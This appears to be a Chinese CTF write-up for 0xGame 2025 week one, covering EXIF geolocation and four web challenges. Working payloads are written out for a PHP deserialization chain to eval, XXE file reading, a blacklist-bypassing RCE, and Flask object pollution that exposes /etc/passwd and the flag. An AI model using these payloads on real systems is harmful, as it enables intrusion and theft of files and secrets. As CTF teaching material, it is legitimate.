0xGame 2025 Week1 WriteUp

2025-10-10T00:00:00+00:00
0xGame 2025 Week1 Writeup</h1>
by 正规子群</p>
https://github.com/n-WN</p> </blockquote>
OSINT</h2>

Week1 OSINT</h4>
分类：OSINT / 图片取证</li>
难度：简单</li>
Flag 规范：0xGame{山的名字_纬度_经度}</code>，经纬度保留四位小数且不进位（截断）。</li>
我的答案：0xGame{大室山_32.1191_118.9265}</code></li>
</ul>
题目与附件</h4>

task/OSINT1-1.jpg</code>：识别图片中的山名。</li>
task/OSINT1-2.jpg</code>：从图片（或其 EXIF）推导拍摄点经纬度。</li>
</ul>
解题思路</h4>
1. 山名识别（1-1）</h5>
观察 OSINT1-1.jpg</code>：</p>

广阔光滑的绿色火山锥形地貌；</li>
山脊上环形步道，人流密集；</li>
近处台阶与护栏沿坡而上；</li>
山脊线上有一个醒目的红色鸟居；</li>
远处可见大海与离岸岛屿轮廓。</li>
</ul>
这些要素与日本静冈县伊东市著名的火山渣锥「大室山」（$\text{Oomuroyama}$）高度吻合。该地常被中文游客称为“抹茶山”，因其夏季整座山被绿色草地覆盖，外形如抹茶蛋糕。网上实景图亦可见山脊步道与鸟居，和本题图像构图相符。</p>
因此山名取为：大室山</code>（俗称“抹茶山”）。</p>
2. EXIF 定位（1-2）</h5>
我们对 OSINT1-2.jpg</code> 提取 EXIF：</p>
exiftool</span> -a -G1 -s task/OSINT1-2.jpg</span> |</span> grep</span> -E 'GPS(Latitude|Longitude|Altitude|Date|ImgDirection)'</span></span></code></pre>
得到（关键字段）：</p>

GPSLatitude = 32 deg 7' 8.98"</code>（北纬）</li>
GPSLongitude = 118 deg 55' 35.69"</code>（东经）</li>
同时包含 GPSAltitude</code> 与 GPSDateStamp</code> 等无关字段</li>
</ul>
将度分秒换算为十进制度：</p>
$$
\begin{aligned}
\varphi_{\text{deg}}&=d+m/60+s/3600,\
\lambda_{\text{deg}}&=d+m/60+s/3600.
\end{aligned}
$$</p>
代入数值：</p>
$$
\begin{aligned}
\varphi_{\text{deg}}&=32+\tfrac{7}{60}+\tfrac{8.98}{3600}=32.119161\dots,\
\lambda_{\text{deg}}&=118+\tfrac{55}{60}+\tfrac{35.69}{3600}=118.926580\dots.
\end{aligned}
$$</p>
“不进位保留四位小数” 等价于向下截断至 $10^{-4}$ 位：</p>
$$
\operatorname{trunc}_{4}(x)=\left\lfloor x\cdot 10^4 \right\rfloor / 10^4.
$$</p>
因此：</p>
$$
\varphi=32.1191,\qquad \lambda=118.9265.
$$</p>
最终 flag：</p>
0xGame{大室山_32.1191_118.9265}</span></span></code></pre>

备注：第二张图为室内拍摄的卡通头套，但其 EXIF 保留了拍摄位置坐标，这是 OSINT 中常见的“元数据泄露”。</p>
</blockquote>
若需验证读取到的 DMS 值，可使用：</p>
exiftool</span> -a -G1 -s task/OSINT1-2.jpg</span> |</span> rg</span> 'GPS(Latitude|Longitude)'</span></span></code></pre>尝试与坑点记录</h4>

最初将山名写成“抹茶山”，被判错；复核后确定其正式名为“大室山</strong>”。</li>
经纬度保留四位小数需“不进位</strong>”：不能四舍五入，需向下截断；本仓库脚本以 $\lfloor x\cdot 10^4\rfloor/10^4$ 实现。</li>
若图片被平台二次压缩，有可能丢失 EXIF；本题附件保留了 GPS 字段，故不受影响。</li>
</ul>
参考要点（知识性）</h4>

大室山（Oomuroyama）：伊豆半岛中东部火山渣锥，山体呈圆锥形，夏季满山翠绿，山顶火口周围有步道与神社鸟居，可眺望相模湾与伊豆大岛。</li>
EXIF GPS：常以 DMS 存储，含 LatitudeRef</code> 与 LongitudeRef</code>，需在南纬/西经时赋负号。</li>
</ul>

Web</h2>
Rubbish_Unser Writeup</h3>
题目信息</h4>

比赛：0xGame 2025 Week1 Web（作者 PureStream）</li>
题目：Rubbish_Unser（easy，710 分）</li>
地址：http://8000-29b93fdb-616e-477c-a19f-27457c7d6042.challenge.ctfplus.cn</code></li>
</ul>
代码概览</h4>
页面直接 highlight_file(__FILE__)</code>，随后仅在收到 $_GET['0xGame']</code> 时执行 unserialize()</code> 并抛出异常。脚本中预置了多个带魔术方法的类：</p>

ZZZ::__destruct()</code>：在析构时输出 "破绽，在这里！" . $this->yuzuha</code>；若 $yuzuha</code> 是对象，则触发其 __toString()</code>。</li>
Mi::__toString()</code>：尝试调用 $this->game->tks()</code>。</li>
GI::__call()</code>：拦截未定义方法，取 $this->furina()</code>（可调用对象）。</li>
HI3rd::__invoke()</code>：若满足 $kiana !== $RaidenMei</code> 且 md5/sha1</code> 完全相等，则返回 $this->guanxing->Elysia</code>。</li>
HSR::__get()</code>：访问不存在属性时取 $this->robin</code> 并 eval()</code>。</li>
</ol>
因此可以构造以下调用链：</p>
ZZZ->__destruct</span></span>
  -> Mi::__toString</span></span>
      -> GI::__call (tks)</span></span>
          -> HI3rd::__invoke</span></span>
              -> HSR::__get("Elysia")</span></span>
                  -> eval($this->robin)</span></span></code></pre>
只需把 $robin</code> 设置为任意字符串即可执行任意 PHP 代码。</p>
哈希约束绕过</h4>
HI3rd::__invoke()</code> 中的判断要求：</p>

$kiana !== $RaidenMei</code>；</li>
md5($kiana) === md5($RaidenMei)</code>；</li>
sha1($kiana) === sha1($RaidenMei)</code>。</li>
</ul>
利用 PHP 的类型转换即可轻松满足：令 $kiana = 0</code>（整型）与 $RaidenMei = "0"</code>（字符串）。两者严格不相等（类型不同），但在 md5</code> / sha1</code> 时都会被转成字符串 "0"</code>，哈希值完全一致。</p>
Payload 设计</h4>

构造对象：

HSR::$robin = 'echo file_get_contents("/proc/self/environ");'</code>。</li>
HI3rd</code> 同时持有 $kiana = 0</code>、$RaidenMei = "0"</code>、$guanxing = $hsr</code>。</li>
GI::$furina = $hi3rd</code>（可调用对象）。</li>
Mi::$game = $gi</code>。</li>
ZZZ::$yuzuha = $mi</code>（析构时触发整条链）。</li>
</ul>
</li>
序列化得到：</li>
</ol>
O:3:"ZZZ":1:{s:6:"yuzuha";O:2:"Mi":1:{s:4:"game";O:2:"GI":1:{</span></span>
  s:6:"furina";O:5:"HI3rd":3:{s:9:"RaidenMei";s:1:"0";s:5:"kiana";i:0;</span></span>
  s:8:"guanxing";O:3:"HSR":1:{s:5:"robin";s:45:"echo file_get_contents("/proc/self/environ");";}}}}}</span></span></code></pre>

访问 /?0xGame=<序列化字符串></code>，链条展开后 eval</code> 会打印 environ</code>，其中包含 flag=0xGame{Really_Rubbish_Unser!}</code>。</li>
</ol>
自动化脚本</h4>

文件：[0xGame2025]rubbish_unser/solution/solution.py</code></li>
默认目标为正式容器，可通过 BASE</code> 环境变量切换。</li>
执行：</li>
</ul>
uv</span> run</span> [0xGame2025]rubbish_unser/solution/solution.py</span></span></code></pre>
脚本会自动构造 payload，触发链条，并从响应中的环境变量提取 flag。</p>
Flag</h4>

$0xGame{Really_Rubbish_Unser!}$</code></li>
</ul>
复盘</h4>

题目鼓励串联“游戏”类（ZZZ/HSR/HI3rd/GI/Mi）构成漏洞链，是典型的 PHP 对象注入练习。</li>
使用 0</code> 与 "0"</code> 绕过 md5</code>/sha1</code> 的同时，不需要预制碰撞，思路清晰直接。</li>
环境变量泄漏是获取 flag 的最快方式；若需进一步利用，还能执行任意命令、读取任意文件。</li>
</ul>

留言板_reVenge Writeup</h3>
题目信息</h4>

比赛：0xGame 2025 Week1 Web（作者 PureStream）</li>
题目：留言板_reVenge（353 分，noob）</li>
容器：http://8000-8d86851f-921f-43e7-aa4a-bb059a158d51.challenge.ctfplus.cn</code></li>
</ul>
入口侦察</h4>

首页只露出登录界面 login.php</code>。</li>
尝试弱口令后发现存在默认凭据 admin / admin123</code>，登录成功会弹窗后跳转至 xxxxmleee.php</code>。</li>
实测直接访问 xxxxmleee.php</code> 无需会话即可打开，页面是一个接收 XML 并回显解析结果的留言板，提示标题 “Ez_XXE”。</li>
</ul>
漏洞分析</h4>
后台源码未公开，但通过交互可推断处理流程：</p>

POST</code> 时读取原始请求体并使用 DOMDocument::loadXML()</code> 加载，随后 simplexml_import_dom()</code> 转换，再把节点内容输出到页面；</li>
未禁用外部实体（缺少 LIBXML_NONET</code> / LIBXML_NOENT</code> 防护），因此存在 XXE；</li>
直接把通用实体指向 /flag</code> 会触发 Start tag expected</code> 警告 —— 因为外部实体被当作“已解析实体”，内容需要是合法的 XML 片段；</li>
构造参数实体，在 DTD 外部子集中注入一个新的通用实体 <data>%file;</data></code>，用 <data>...</data></code> 包裹 Base64 后的 flag，即可满足 Well-formed 要求并顺利回显。</li>
</ol>
利用 payload</h4>
<?</span>xml</span> version</span>=</span>"1.0"</span>?></span></span>
<!DOCTYPE</span> foo</span> [</span></span>
<!ENTITY</span> % </span>file</span> SYSTEM </span>"php://filter/convert.base64-encode/resource=/flag"</span>></span></span>
<!ENTITY</span> % </span>eval</span> SYSTEM </span>"data://text/plain,%3C!ENTITY%20exfil%20%22<data>%25file;</data>%22%3E"</span>></span></span>
%</span>eval</span>;</span></span>
]</span>></span></span>
<</span>root</span>></span>&exfil;</span></</span>root</span>></span></span></code></pre>

%file</code> 参数实体拉取 /flag</code>，经过 php://filter</code> 做 Base64 包装；</li>
%eval</code> 参数实体来自 data://</code> URI，动态声明 exfil</code> 通用实体，把 %file;</code> 填入 <data>...</data></code> 标签内部，使解析器得到合法 XML；</li>
&exfil;</code> 展开后，服务端再将 SimpleXML 导出的字符串嵌入 <pre></code>，因此最终响应中能看到 Base64 文本，解码即可得到 flag。</li>
</ul>
自动化脚本</h4>

路径：[0xGame2025]guestbook-revenge/solution/solution.py</code></li>
运行：</li>
</ul>
uv</span> run</span> [0xGame2025]guestbook-revenge/solution/solution.py</span></span></code></pre>

输出末尾即为服务端响应与解码后的 flag。</li>
</ul>
Flag</h4>

$0xGame{1a903b96-173a-8b3d-8a37-a81934dc4187_xxe1919810}$</code></li>
</ul>
复盘</h4>

旧版本的“留言板（粉）”中 XXE 未加约束，此次 reVenge</code> 修补了“非预期”路径，但主逻辑依然允许外部实体。</li>
关键在于处理好 XML 语法限制，通过参数实体把任意文件包进合法标签，避免 Start tag expected</code> 报错。</li>
</ul>

Http的真理，我已解明 Writeup</h3>
题目信息</h4>

比赛：0xGame 2025 Week1 Web（作者 PureStream）</li>
题目：Http的真理，我已解明（224 分，noob）</li>
地址：http://80-ad98a018-e0f5-46c5-87bb-dce59a2ba4ec.challenge.ctfplus.cn</code></li>
</ul>
交互探测</h4>
初次访问页面可见提示：“用 GET 传递 hello=web”。按照提示逐步构造请求：</p>

GET /?hello=web</code>

响应：继续提示“用 POST 传递 http=good”。</li>
</ul>
</li>
POST /?hello=web</code>，表单数据 http=good</code>

响应：要求设置 Cookie Sean=god</code>。</li>
</ul>
</li>
同时携带 Cookie: Sean=god</code>

响应：提示“请使用 Safari 浏览器访问”。</li>
</ul>
</li>
加上 User-Agent: Safari</code>

响应：提示“请从 <www.mihoyo.com> 访问本页面”。</li>
</ul>
</li>
引入 Referer: www.mihoyo.com</code>

响应：提示“请使用 clash 这只猫猫来代理一下”。</li>
</ul>
</li>
最后补上 Via: clash</code>

成功返回 flag 以及“HTTP 协议的真理解明”消息。</li>
</ul>
</li>
</ol>
服务以逐步提示的方式引导我们补全 HTTP 请求要素。可以理解为一个多条件验证链，只有全部满足后才会执行最终分支返回 flag。</p>
自动化脚本</h4>
脚本路径：[0xGame2025]http-truth/solution/solution.py</code></p>
核心逻辑：</p>
params</span> =</span> {</span>"hello"</span>:</span> "web"</span>}</span></span>
data</span> =</span> {</span>"http"</span>:</span> "good"</span>}</span></span>
headers</span> =</span> {</span></span>
    "User-Agent"</span>:</span> "Safari"</span>,</span></span>
    "Referer"</span>:</span> "www.mihoyo.com"</span>,</span></span>
    "Via"</span>:</span> "clash"</span>,</span></span>
}</span></span>
cookies</span> =</span> {</span>"Sean"</span>:</span> "god"</span>}</span></span>
requests</span>.</span>post</span>(</span>BASE</span>,</span> params</span>=</span>params</span>,</span> data</span>=</span>data</span>,</span> headers</span>=</span>headers</span>,</span> cookies</span>=</span>cookies</span>)</span></span></code></pre>
运行方式：</p>
uv</span> run</span> [0xGame2025]http-truth/solution/solution.py</span></span></code></pre>
输出将包含完整页面内容及 flag。</p>
结果</h4>

flag：$0XGame{Congratuation_You_Are_Http_God!!!}$</code></li>
</ul>
复盘小结</h4>

这是对常见 HTTP 头/参数的连环校验问题；</li>
通过逐步观察响应，推断出需要满足的条件序列；</li>
使用 curl</code>/requests</code> 自动化构造请求即可稳定拿flag。</li>
</ul>

RCE1 Writeup</h3>
题目信息</h4>

比赛：0xGame 2025 Week1 Web（作者 PureStream）</li>
题目：RCE1（210 分，easy）</li>
地址：http://80-9e19ce66-5345-45b1-a0df-9990629073c0.challenge.ctfplus.cn</code></li>
</ul>
题目源码与审计</h4>
源码（首页直接 highlight_file(__FILE__)</code>）关键片段：</p>
error_reporting</span>(</span>0</span>);</span></span>
highlight_file</span>(</span>__FILE__</span>);</span></span>
$rce1</span> =</span> $_GET</span>[</span>'rce1'</span>];</span></span>
$rce2</span> =</span> $_POST</span>[</span>'rce2'</span>];</span></span>
$real_code</span> =</span> $_POST</span>[</span>'rce3'</span>];</span></span>
</span>
$pattern</span> =</span> '/</span>(?:</span>\d</span>|</span>[</span>\$%&#@*</span>]</span>|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)</span>/i'</span>;</span></span>
</span>
function</span> check</span>(</span>string</span> $</span>text</span>)</span>:</span> bool</span> {</span></span>
    global</span> $pattern</span>;</span></span>
    return</span> (</span>bool</span>)</span> preg_match</span>(</span>$pattern</span>,</span> $text</span>);</span></span>
}</span></span>
</span>
if</span> (</span>isset</span>(</span>$rce1</span>)</span> &&</span> isset</span>(</span>$rce2</span>)){</span></span>
    if</span>(</span>md5</span>(</span>$rce1</span>)</span> ===</span> md5</span>(</span>$rce2</span>)</span> &&</span> $rce1</span> !==</span> $rce2</span>){</span></span>
        if</span>(</span>!</span>check</span>(</span>$real_code</span>)){</span></span>
            eval</span>(</span>$real_code</span>);</span></span>
        }</span> else</span> {</span></span>
            echo</span> "Don't hack me ~"</span>;</span></span>
        }</span></span>
    }</span> else</span> {</span></span>
        echo</span> "md5 do not match correctly"</span>;</span></span>
    }</span></span>
}</span> else</span> {</span></span>
    echo</span> "Please provide both rce1 and rce2"</span>;</span></span>
}</span></span></code></pre>
要点：</p>

只有在满足 $md5(rce1) \equiv md5(rce2)$ 且 $rce1 \not\equiv rce2$ 的情况下，才会进入 eval($real_code)</code>。</li>
check($real_code)</code> 黑名单限制十分苛刻：任意数字、$%&#@*</code> 以及常见命令与函数名（system、cat、ls、echo、strings 等）均被禁止。</li>
</ul>
绕过思路</h4>

md5 严格相等的“伪造”条件：</li>
</ol>

在该运行环境下，向 md5()</code> 传入数组参数会产生一条 Warning，但在 error_reporting(0)</code> 下被隐藏，同时 md5($arr)</code> 的返回值为 NULL</code>（未开启严格类型错误）。</li>
若同时令 rce1</code> 与 rce2</code> 都为数组，则有：

md5($rce1) === md5($rce2)</code> 等价于 NULL === NULL</code>，成立；</li>
又由于两个数组的内容不同（如 [1]</code> 与 [2]</code>），所以 $rce1 !== $rce2</code> 也成立。</li>
</ul>
</li>
这样即可稳定通过 md5 检查门槛，无需真正构造 MD5 碰撞对。</li>
</ul>

绕过命令黑名单与输出：</li>
</ol>

黑名单包含 flag</code> 与 cat</code>、ls</code>、echo</code> 等关键词与字符，但并未禁止反引号执行（\``）及</code>die()`。</li>
我们可以使用反引号执行 shell 命令，并用 die()</code> 输出执行结果。</li>
为避免在 payload 中出现 flag</code> 字面量，可使用单字符通配符 ?</code>：/fl?g</code>。</li>
选择未被列入黑名单的命令 tac</code> 读取文件：tac /fl?g</code>。</li>
</ul>
综合得到安全过检的 payload：</p>
die</span>(</span>`tac /fl?g`</span>);</span></span></code></pre>
满足条件的整体请求：</p>

GET：rce1[]=1</code>（数组）</li>
POST：rce2[]=2</code>（数组）、rce3=die(</code>tac /fl?g);</code></li>
</ul>
自动化脚本</h4>
已编写脚本：[0xGame2025]RCE1/solution/solution.py</code></p>
运行（建议使用 uv 以独立环境运行）：</p>
uv</span> run</span> [0xGame2025]RCE1/solution/solution.py</span></span></code></pre>
输出示例（截断）：</p>
0xGame{This_is_Your_First_Stop_to_RCE!!!}</span></span></code></pre>关键细节与推导</h4>

关于 $md5$ 的严格相等：题目用 ===</code>，常见的“0e 魔法哈希”仅在 ==</code> 时才会绕过，比对为数值 $0$。因此这里不适用“魔法哈希”，需要利用传入数组触发 `md5($arr) \to NULL$ 的行为（在该环境配置下成立）。</li>
黑名单正则：

\d</code> 禁止任何数字，阻断了 chr(… )</code> 一类构造；</li>
[\$%&#@*]</code> 禁止若干常见特殊字符；</li>
明确列举了众多命令/函数名；</li>
但未覆盖 tac</code>、die</code>、以及反引号执行。</li>
</ul>
</li>
输出渠道：echo</code> 被禁，但 die($s)</code> 会输出参数后终止脚本，满足需求。</li>
</ul>
尝试记录</h4>

首先直接传 rce1=r& rce2=r</code> 无法满足 rce1 !== rce2</code> 条件；</li>
尝试“魔法哈希”对在 ===</code> 下失败；</li>
复核环境：数组传入 md5()</code> 不会触发致命错误（被 error_reporting(0)</code> 隐去），返回值为 NULL</code>，于是想到使用数组构造“相等的 md5 值、但不等的原值”。</li>
在命令选择上，排除了 cat</code>/ls</code>/rev</code>/nl</code>/sort</code>/strings</code> 等黑名单项，采用 tac /fl?g</code> 并通过通配符规避 flag</code> 常量。</li>
</ul>
最终答案</h4>

flag：$0xGame{This_is_Your_First_Stop_to_RCE!!!}$</code></li>
</ul>

0xGame2025 Lemon_Rev（Web）</h3>
本题是一道典型“对象属性污染（object attribute pollution）→ 文件读取（LFI）”的 Flask/Jinja 利用。核心并非 JavaScript 的“原型链污染”，而是 Python 语境下通过不安全的递归 merge 将用户提供的 JSON 写入到应用对象图，进而篡改 Flask 应用的内部配置（如 static_folder</code> 或 Jinja loader），实现任意文件读取。</p>
本文面向教学，分三部分：</p>

从代码出发做漏洞根因分析，并用简洁的数学化表达描述合并过程；</li>
给出可靠的两步利用链，并记录尝试与取舍；</li>
对照官方文档解释 Python 函数对象 __globals__</code>、内置 setattr</code>、os.path.exists</code> 与 Flask static_folder</code>、Jinja FileSystemLoader</code> 等关键点。</li>
</ul>

1. 题目与代码复盘</h4>
题面（简化排版，完整见 task/attachment.txt</code>）：</p>
from</span> flask</span> import</span> Flask</span>,</span> request</span>,</span> render_template</span></span>
import</span> json</span>,</span> os</span></span>
</span>
app</span> =</span> Flask</span>(</span>__name__</span>)</span></span>
</span>
def</span> merge</span>(</span>src</span>,</span> dst</span>):</span></span>
    for</span> k</span>,</span> v</span> in</span> src</span>.</span>items</span>():</span></span>
        if</span> hasattr</span>(</span>dst</span>,</span> '__getitem__'</span>):</span></span>
            if</span> dst</span>.</span>get</span>(</span>k</span>)</span> and</span> type</span>(</span>v</span>)</span> ==</span> dict</span>:</span></span>
                merge</span>(</span>v</span>,</span> dst</span>.</span>get</span>(</span>k</span>))</span></span>
            else</span>:</span></span>
                dst</span>[</span>k</span>]</span> =</span> v</span></span>
        elif</span> hasattr</span>(</span>dst</span>,</span> k</span>)</span> and</span> type</span>(</span>v</span>)</span> ==</span> dict</span>:</span></span>
            merge</span>(</span>v</span>,</span> getattr</span>(</span>dst</span>,</span> k</span>))</span></span>
        else</span>:</span></span>
            setattr</span>(</span>dst</span>,</span> k</span>,</span> v</span>)</span></span>
</span>
class</span> Dst</span>():</span></span>
    def</span> __init__</span>(</span>self</span>):</span></span>
        pass</span></span>
</span>
Game0x</span> =</span> Dst</span>()</span></span>
</span>
@app</span>.</span>route</span>(</span>'/'</span>,</span> methods</span>=</span>[</span>'POST'</span>,</span> 'GET'</span>])</span></span>
def</span> index</span>():</span></span>
    if</span> request</span>.</span>data</span>:</span></span>
        merge</span>(</span>json</span>.</span>loads</span>(</span>request</span>.</span>data</span>),</span> Game0x</span>)</span></span>
    return</span> render_template</span>(</span>'index.html'</span>,</span> Game0x</span>=</span>Game0x</span>)</span></span>
</span>
@app</span>.</span>route</span>(</span>'/<path:path>'</span>)</span></span>
def</span> render_page</span>(</span>path</span>):</span></span>
    if not</span> os</span>.</span>path</span>.</span>exists</span>(</span>'templates/'</span> +</span> path</span>):</span></span>
        return</span> 'Not Found'</span>,</span> 404</span></span>
    return</span> render_template</span>(</span>path</span>)</span></span>
</span>
if</span> __name__</span> ==</span> '__main__'</span>:</span></span>
    app</span>.</span>run</span>(</span>host</span>=</span>'0.0.0.0'</span>,</span> port</span>=</span>9000</span>)</span></span></code></pre>
可见：</p>

任何 POST /</code> 的 JSON 都会被递归 merge</code> 进全局对象 Game0x</code>；</li>
/<path></code> 路由会在渲染前检查 os.path.exists('templates/' + path)</code>；</li>
一旦能影响 Jinja loader 或 Flask 静态根，就存在 LFI 可能。</li>
</ul>

2. 根因分析与形式化抽象</h4>
2.1 merge 的危险分支</h5>
用函数 $\operatorname{M}(\cdot, \cdot)$ 表示合并：</p>

若 dst</code> 类映射结构且 v</code> 是字典，则递归：将 $v$ 合入 dst[k]</code>；</li>
否则若 dst</code> 有名为 $k$ 的属性且 $v$ 是字典，则递归到 getattr(dst, k)</code>；</li>
否则直接执行 setattr(dst, k, v)</code>。</li>
</ul>
因此，给定键序列 $(k_1, k_2, \dots, k_n)$ 与叶值 $v$，只要沿途总能走到“可递归/可写”的对象 $o$，就有：</p>
$$
\operatorname{M}({k_1:{\cdots {k_n: v}}}, ; \texttt{Game0x}) ;\Longrightarrow; \texttt{setattr}(o, k_n, v).
$$</p>
这等价于“用户可对对象图中任意可达节点成功写属性”。</p>
2.2 可达 app：__init__.__globals__</code></h5>
在 Python 中，函数对象有 __globals__</code> 属性，指向其定义模块的全局字典（官方文档：Function Objects）。Game0x.__init__</code> 的 __globals__</code> 中就包含了 app</code> 实例。因此构造：</p>
{"</span>__init__</span>": {"</span>__globals__</span>": {"</span>app</span>": {"</span>static_folder</span>":</span> "/proc/1/root"</span>}}}}</span></span></code></pre>
即可令 setattr(app, 'static_folder', '/proc/1/root')</code> 生效。</p>
对照文档：</p>

Python 函数对象属性（含 __globals__</code>）：Python 官方文档（Data model → Function objects）。</li>
内置函数 setattr(obj, name, value)</code>：Python 官方文档（Built-in Functions）。</li>
</ul>
2.3 路由前置检查与取舍</h5>

/<path></code> 的 render_page</code> 先做 os.path.exists('templates/' + path)</code>；仅当“templates/ + path</code>”本地确实存在时才渲染，这对单纯改 Jinja searchpath</code> 的玩法构成干扰。</li>
os.path.exists(path)</code> 仅检查文件是否存在（官方文档：os.path.exists）。</li>
</ul>
用 Jinja FileSystemLoader.searchpath</code> 仍可做 LFI，但需与该 exists 的拼接规则配合路径穿越；而 Flask 的静态路由没有这层 exists 拼接，故更稳妥的做法是污染 static_folder</code>。</p>

3. 稳定利用链（两步）</h4>
思路：将 /static</code> 挂到“进程视角的真实根目录”，即 /proc/1/root</code>，之后直接 GET /static/flag</code>。</p>
步骤：</p>

污染静态根到 /proc/1/root</code>：</li>
</ol>
curl</span> -s -X POST "</span>$BASE</span>/"</span> \</span></span>
  -H 'Content-Type: application/json'</span> \</span></span>
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/proc/1/root"}}}}'</span></span></code></pre>

直接读取 flag：</li>
</ol>
curl</span> -s "</span>$BASE</span>/static/flag"</span></span></code></pre>
实测返回：</p>
0xGame{Welcome_to_Easy_Pollute~}</span></span></code></pre>为什么选 /proc/1/root</code></h5>
在容器/CTF 环境中，1 号进程的根目录符号链接 /proc/1/root</code> 通常指向容器真实根，这样我们无需猜测工作目录或模板层级，等价把 /static</code> 绑定到容器根目录。</p>
能力自测（可选）</h5>
先把静态根映射到 /etc</code>，尝试读取 /etc/passwd</code>：</p>
curl</span> -s -X POST "</span>$BASE</span>/"</span> \</span></span>
  -H 'Content-Type: application/json'</span> \</span></span>
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/etc"}}}}'</span></span>
</span>
curl</span> -s "</span>$BASE</span>/static/passwd"</span> |</span> head</span></span></code></pre>
若可读，说明对象污染链生效且静态路由可用。</p>

4. 尝试过程与对比方案（取舍记录）</h4>

早期尝试通过改 app.jinja_env.loader.searchpath=["/"]</code> 再走 /<path></code> 渲染，但受 os.path.exists('templates/' + path)</code> 限制，路径穿越需要与工作目录/模板目录实际层级吻合，实战中不稳定。</li>
URL 编码与变体（%2e%2e/</code>、双重编码、混合分隔符）能提升成功率，但复杂度高，不利于教学；</li>
通过改 static_folder</code> 则无需关心 exists 拼接与层级，命中率更高、思路更清晰。</li>
</ul>

6. 与“原型链污染”的关系</h4>

JS“原型链污染”（Prototype Pollution）是污染 Object.prototype</code> 等原型，让属性查找链受到影响；</li>
本题是 Python“对象属性污染/对象图污染”：通过合并写属性到实例/模块对象上，并未改动类层次结构或 MRO，因此不属于“原型链污染”。</li>
</ul>

7. 防护建议（工程视角）</h4>

严禁将不可信 JSON 以通用递归方式 merge 入“任意对象”，尤其禁止 setattr</code> 写入实例/模块等内建对象；</li>
若必须提供“合并/补丁”接口，白名单可修改字段，强制类型校验，屏蔽魔法名：__class__</code>、__init__</code>、__globals__</code>、__dict__</code>、__mro__</code> 等；</li>
不允许运行时随意改 app.jinja_env</code>、app.static_folder</code> 等敏感配置；将其固化于启动配置；</li>
在渲染路由前，任何基于外部输入的路径拼接都应避免；静态路由置于只读目录，最小权限挂载。</li>
</ul>

8. 官方文档对照（便于延伸阅读）</h4>

Python 数据模型：函数对象（含 __globals__</code>）

https://docs.python.org/3/reference/datamodel.html#functions</a></li>
</ul>
</li>
Python 内置函数 setattr</code>

https://docs.python.org/3/library/functions.html#setattr</a></li>
</ul>
</li>
os.path.exists 行为

https://docs.python.org/3/library/os.path.html#os.path.exists</a></li>
</ul>
</li>
Flask 应用与静态目录（static_folder</code>/static_url_path</code>）

https://flask.palletsprojects.com/en/stable/api/#flask.Flask</a></li>
</ul>
</li>
Jinja Loader（FileSystemLoader</code>）

https://jinja.palletsprojects.com/en/stable/api/#loaders</a></li>
</ul>
</li>
</ul>
（以上链接与说明已通过 MCP context7 抽取核实要点：函数对象的 __globals__</code> 定义、setattr</code> 的赋值语义、os.path.exists</code> 的存在性检查、Flask static_folder</code> 的含义与 Jinja FileSystemLoader</code> 多路径支持等。）</p>

9. Flag</h4>
0xGame{Welcome_to_Easy_Pollute~}</code></p>
本文记录一次基于 Flask/Jinja 与“对象属性合并”污染（pollution）的利用过程。目标为一段简化的 Flask 服务，核心漏洞在于对用户提供的 JSON 递归合并到应用全局对象上，导致可写入 Flask 实例内部属性，从而改写模板或静态资源的加载根目录，进而实现任意文件读取（LFI）。</p>
题目描述与源码摘录</h4>
服务核心代码如下（节选并适当排版）：</p>
from</span> flask</span> import</span> Flask</span>,</span> request</span>,</span> render_template</span></span>
import</span> json</span>,</span> os</span></span>
</span>
app</span> =</span> Flask</span>(</span>__name__</span>)</span></span>
</span>
def</span> merge</span>(</span>src</span>,</span> dst</span>):</span></span>
    for</span> k</span>,</span> v</span> in</span> src</span>.</span>items</span>():</span></span>
        if</span> hasattr</span>(</span>dst</span>,</span> '__getitem__'</span>):</span></span>
            if</span> dst</span>.</span>get</span>(</span>k</span>)</span> and</span> type</span>(</span>v</span>)</span> ==</span> dict</span>:</span></span>
                merge</span>(</span>v</span>,</span> dst</span>.</span>get</span>(</span>k</span>))</span></span>
            else</span>:</span></span>
                dst</span>[</span>k</span>]</span> =</span> v</span></span>
        elif</span> hasattr</span>(</span>dst</span>,</span> k</span>)</span> and</span> type</span>(</span>v</span>)</span> ==</span> dict</span>:</span></span>
            merge</span>(</span>v</span>,</span> getattr</span>(</span>dst</span>,</span> k</span>))</span></span>
        else</span>:</span></span>
            setattr</span>(</span>dst</span>,</span> k</span>,</span> v</span>)</span></span>
</span>
class</span> Dst</span>():</span></span>
    def</span> __init__</span>(</span>self</span>):</span></span>
        pass</span></span>
</span>
Game0x</span> =</span> Dst</span>()</span></span>
</span>
@app</span>.</span>route</span>(</span>'/'</span>,</span> methods</span>=</span>[</span>'POST'</span>,</span> 'GET'</span>])</span></span>
def</span> index</span>():</span></span>
    if</span> request</span>.</span>data</span>:</span></span>
        merge</span>(</span>json</span>.</span>loads</span>(</span>request</span>.</span>data</span>),</span> Game0x</span>)</span></span>
    return</span> render_template</span>(</span>'index.html'</span>,</span> Game0x</span>=</span>Game0x</span>)</span></span>
</span>
@app</span>.</span>route</span>(</span>'/<path:path>'</span>)</span></span>
def</span> render_page</span>(</span>path</span>):</span></span>
    if not</span> os</span>.</span>path</span>.</span>exists</span>(</span>'templates/'</span> +</span> path</span>):</span></span>
        return</span> 'Not Found'</span>,</span> 404</span></span>
    return</span> render_template</span>(</span>path</span>)</span></span>
</span>
if</span> __name__</span> ==</span> '__main__'</span>:</span></span>
    app</span>.</span>run</span>(</span>host</span>=</span>'0.0.0.0'</span>,</span> port</span>=</span>9000</span>)</span></span></code></pre>
要点：</p>

merge</code> 会把任意 JSON 递归“合并”到目标对象上；当 dst</code> 不是映射时会直接 setattr(dst, k, v)</code>。这使得我们可以构造键路径去触达 Flask 实例 app</code> 的内部对象。</li>
传统思路是：把 Jinja 的 FileSystemLoader.searchpath</code> 改到根目录/</code>，再利用 /<path></code> 路由中的 render_template(path)</code> 读取文件。但它前有 os.path.exists('templates/' + path)</code> 的存在性检查，单纯的 ../</code> 有时难以命中真实路径。</li>
更稳的思路：改写 Flask 的 static_folder</code>，走框架内置的静态文件路由 /static/...</code>，从而绕过上面的 exists 检查。进而配合 /proc/1/root</code> 指针把静态根指向“进程视角的根文件系统”，实现对容器真实根路径的直接读取。</li>
</ul>
利用链总体思路</h4>

对象污染（Object Pollution）</li>
</ol>
